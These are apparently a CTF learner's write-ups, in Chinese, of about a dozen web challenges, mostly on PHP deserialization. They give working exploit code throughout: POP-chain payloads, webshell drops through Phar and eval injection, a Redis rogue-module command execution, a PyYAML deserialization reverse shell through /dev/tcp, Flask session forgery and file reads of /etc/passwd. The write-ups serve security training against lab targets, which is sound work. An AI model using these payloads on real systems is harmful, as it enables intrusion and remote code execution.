Web入门-PHP反序列化漏洞

[SWPUCTF 2021 新生赛]no_wakeup

反序列化时触发__wakeup函数,考虑绕开。

1
2
3
4
5
$aa = new HaHaHa();
$aa->admin = "admin";
$aa->passwd = "wllm";
$stus = serialize($aa);
print_r($stus); //O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

CVE-2016-7124:当参数列表中成员个数与实际不符时绕过__wakeup函数,构造:

1
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

payload:

1
2
3
import requests
response=requests.get('http://node4.anna.nssctf.cn:28398/class.php?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}')
print(response.text[-44:])

[SWPUCTF 2021 新生赛]pop

找链子打。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class w44m{
private $admin='w44m';
protected $passwd='08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m();
$b=new w33m();
$c=new w44m();
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>

exp:

1
2
3
import requests
response1=requests.get('http://node5.anna.nssctf.cn:28507/index.php?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D')
print(response1.text[-44:])

[HUBUCTF 2022 新生赛]checkin

弱比较,true跟谁比都为true。

1
2
3
4
5
6
7
8
<?php
$a=array(
'username'=>true,
'password'=>true
);
$b=serialize($a);
echo $b;
?>

payload:

1
http://node5.anna.nssctf.cn:28305/?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

[NISACTF 2022]babyserialize

PHP魔术方法:

__wakeup()unserialize被调用时。

__call():调用不可访问或不存在的方法。

__toString():类被转换成字符串。

__invoke():以函数方式调用对象。

__set():给不可访问或不存在属性赋值。

有俩坑:$fun必须改为别的,要不总是进入hint();命令执行有WAF,可大小写绕过。

1
2
3
4
5
6
7
8
$payload=new TianXiWei();
$payload->ext=new Ilovetxw();
$payload->ext->huang=new four();
$payload->ext->huang->a=new Ilovetxw();
$payload->ext->huang->a->su=new NISA();
$payload->ext->huang->a->su->fun="asdf";
$payload->ext->huang->a->su->txw4ever='System("cat /fllllllaaag");';
echo(urlencode(serialize($payload)));

[NISACTF 2022]bingdundun~

构造Phar,打包后.phar文件其实就是个类似.jar的压缩文件,里面有个67.php,内容为payload:

1
2
3
4
5
6
7
8
<?php
$payload='<?php @eval($_POST["cmd"]);?>';
$phar=new Phar("/home/monoceros406/Desktop/CTF-Workbench/example.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->addFromString("67.php","$payload");
$phar->stopBuffering();
?>

Phar伪协议不看后缀名,可改成.zip上传,伪协议看setStub的内容来识别。

上传后访问:

1
http://node5.anna.nssctf.cn:28678/?bingdundun=phar://0f2c819eaf2a6ec7a8b16be40c7413e5.zip/67.php

Antsword连即可。

[SWPUCTF 2022 新生赛]1z_unserialize

1
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

[SWPUCTF 2022 新生赛]ez_ez_unserialize

反序列化构造过长链子绕过__wakeup,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class X{
public $x = __FILE__;
function __construct($x){
$this->x = $x;
}
function __wakeup(){
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct(){
highlight_file($this->x);
}
}
$a=new X("fllllllag.php");
echo(urlencode(serialize($a)));
?>

更改类“X”的长度更大,而不是更改类的个数,即更改大括号前的数字。

[NISACTF 2022]popchains

protected型变量直接类内赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var="/flag";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
$payload1=new Road_is_Long();
$payload1->page=new Road_is_Long();
$payload1->page->string=new Make_a_Change();
$payload1->page->string->effort=new Try_Work_Hard();
echo(urlencode(serialize($payload1)));
?>

[第五空间 2021]pklovecloud

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include 'flag.php';
class pkshow{
function echo_name(){
return "Pk very safe^.^";
}
}
class acp{
protected $cinder;
public $neutron;
public $nova;
function __construct(){
$this->cinder=new ace;
}
function __toString(){
if(isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace{
public $filename="../nssctfasdasdflag";
public $openstack;
public $docker=NULL;
function echo_name(){
$this->openstack=unserialize($this->docker);
$this->openstack->neutron=$heat;
if($this->openstack->neutron===$this->openstack->nova){
$file="./{$this->filename}";
if(file_get_contents($file)){
return file_get_contents($file);
}
else{
return "keystone lost~";
}
}
}
}
$payload1=new acp();
echo(urlencode(serialize($payload1)));
?>

[GDOUCTF 2023]反方向的钟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>

写GET请求的Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class teacher{
public $name;
public $rank;
}
class classroom{
public $name;
public $leader;
}
class school{
public $department;
public $headmaster;
}
$school=new school();
$school->headmaster='ong';
$classroom=new classroom();
$school->department=$classroom;
$classroom->name='one class';
$teacher=new teacher();
$classroom->leader=$teacher;
$teacher->name='ing';
$teacher->rank='department';
echo(base64_encode(serialize($school)));
//Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=
?>

这里第二部分用PHP原生类SplFileObject。

结果为:

1
2
http://node5.anna.nssctf.cn:25160/?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

[天翼杯 2021]esay_eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class a{
public $code = "";
function __construct(){
$this->code = "phpinfo();";
}
}
class b{
function __construct(){
$this->a=new a();
}
}
echo serialize(new b());
//O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
//改一下:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
?>

对于正则表达式,PHP的反序列化是大小写不敏感的,但正则匹配敏感,以此绕过。

将1改为2时虽然能正常反序列化,但__wakeup的调用不正常,且直接执行__destruct

于是:

1
http://node4.anna.nssctf.cn:28821/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

然后写Webshell:

1
http://node4.anna.nssctf.cn:28821/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:89:"fputs(fopen('dotast.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw=="));";}}

密码pass。

用Linux下VIM:

1
vi -r config.php.swp

得到Redis密码:

1
2
3
4
5
6
7
8
<?php

define("DB_HOST","localhost");
define("DB_USERNAME","root");
define("DB_PASSWOrd","");
define("DB_DATABASE","test");

define("REDIS_PASS","you_cannot_guess_it");

下载EXP:https://github.com/Dliv3/redis-rogue-server,在/tmp目录下上传exp\.so,别的目录没法访问。用这个蚁剑插件:https://github.com/Medicean/AS_Redis连接。

蚁剑该条记录右键Redis连接,地址为127.0.0.1:6379,密码为you_cannot_guess_it。

随便找个数据库右键终端,加载exp.so:

1
2
3
MODULE LOAD /tmp/exp.so
system.exec "ls /"
system.exec "cat /flagaasdbjanssctf"

[HDCTF 2023]YamiYami

有仨链接,仔细观察第一个百度的链接,像任意文件读取:

1
http://node4.anna.nssctf.cn:28250/read?url=file:///etc/passwd

尝试读环境变量,即非预期:

1
http://node4.anna.nssctf.cn:28250/read?url=file:///proc/1/environ

此时尝试用二次编码绕过来读app/app.py:

1
http://node4.anna.nssctf.cn:28250/read?url=file:///%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39

读到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# encoding:utf-8
import os
import requests
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml #问题所在 pyyaml反序列化
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = False
BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"]
app.config['UPLOAD_FOLDER'] = "/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport") == "Welcome To HDCTF2023":
LoadedFile = request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__ == '__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

需要在boogipop路由进行Session伪造,首先得拿到SESSION_KEY。这里uuid.getnode()获取计算机硬件地址,即网卡MAC地址,读取/sys/class/net/eth0/address:

1
http://node4.anna.nssctf.cn:28714/read?url=file:///sys/class/net/eth0/address

Payload生成:

1
2
3
4
5
#02:42:ac:02:be:19
import random
random.seed(0x0242ac02be19)
print(str(random.random()*233))
#117.22429494348172

加密:

1
2
flask-session-cookie-manager encode -s 117.22429494348172 -t "{'passport':'Welcome To HDCTF2023'}"
#eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.Zt2umA.6F7OYM7aJmNpKNrc978yrMxDNtA

这个放在一边先不管,再构造YAML反序列化的链子如下。源码中yaml.full_load函数调用load函数,后者使用了文件流,即二进制格式,.yaml后缀名都被ban,就改为.txt效果相同。

1
2
3
4
5
6
7
8
9
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list

先把这个上传为tmp.txt,在一开始那个上传界面,再打boogipop路由:

1
http://node4.anna.nssctf.cn:28714/boogipop?file=uploads/tmp.txt

同时还要改Session。F12然后找应用程序标签,在存储栏下面有Cookie,右侧就有session值,修改为之前计算出来的,刷新。

[MoeCTF 2022]ezphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}

foreach ($_POST as $key => $value) {
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

考点变量覆盖:

1
http://node5.anna.nssctf.cn:23604/?a=flag&flag=a

[GXYCTF 2019]禁止套娃

.git泄露,虽然.git目录403,但能访问.git\HEAD就行,下载git-dumper:

1
pip install git-dumper

将.git目录下载到本目录下:

1
git-dumper http://node4.anna.nssctf.cn:28286/.git/

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
session_start() //PHP中Session默认关闭 需要手动打开
session_id() //获取某个Session的ID
show_source() //PHP源代码高亮
localeconv() //返回当前目录数组
current() //获取数组中第一个元素
next() //获取数组中第二个元素
readfile() //读取文件
var_dump() //显示变量的类型和值
array_reverse() //翻转数组

?exp=show_source(session_id(session_start()));
?exp=var_dump(readfile(next(array_reverse(scandir(current(localeconv()))))));
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));